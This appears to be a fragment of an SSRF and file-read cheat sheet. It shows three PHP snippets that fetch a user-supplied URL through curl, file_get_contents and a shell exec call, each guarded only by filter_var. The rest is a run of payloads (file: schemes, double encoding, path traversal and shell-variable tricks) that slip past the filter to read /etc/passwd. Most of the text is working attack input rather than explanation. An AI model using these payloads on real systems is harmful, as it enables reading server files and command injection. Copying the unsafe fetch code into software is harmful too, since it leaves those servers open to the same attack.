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curl library
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file_get_contents()
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exec()
file:///etc/passwdfunctioncurl($url) {$optArray = array(CURLOPT_URL => $url,CURLOPT_FOLLOWLOCATION => 1);$ch = curl_init();curl_setopt_array($ch, $optArray);$response = curl_exec($ch) or die("Error!");curl_close($ch);return $response;}$content = curl(filter_var($_GET["url"], FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED));echo $content;
$f = filter_var($_GET["url"], FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED) or die("Error!");echo file_get_contents($f);
$url = filter_var($_GET["url"], FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED);exec('curl -L ' . $url, $content) or die("Error!");print_r($content);
file:/etc/passwd?/file:/etc/passwd%3F/file:/etc%252Fpasswd/file:/etc%252Fpasswd%3F/file:///etc/?/../passwdfile:///etc/%3F/../passwdfile:${br}/et${u}c/pas${te}swd?/file:$(br)/et$(u)c/pas$(te)swd?/file:${br}/et${u}c%252Fpas${te}swd?/file:$(br)/et$(u)c%252Fpas$(te)swd?/file:${br}/et${u}c%252Fpas${te}swd%3F/file:$(br)/et$(u)c%252Fpas$(te)swd%3F/file:///etc/passwd?/../passwd
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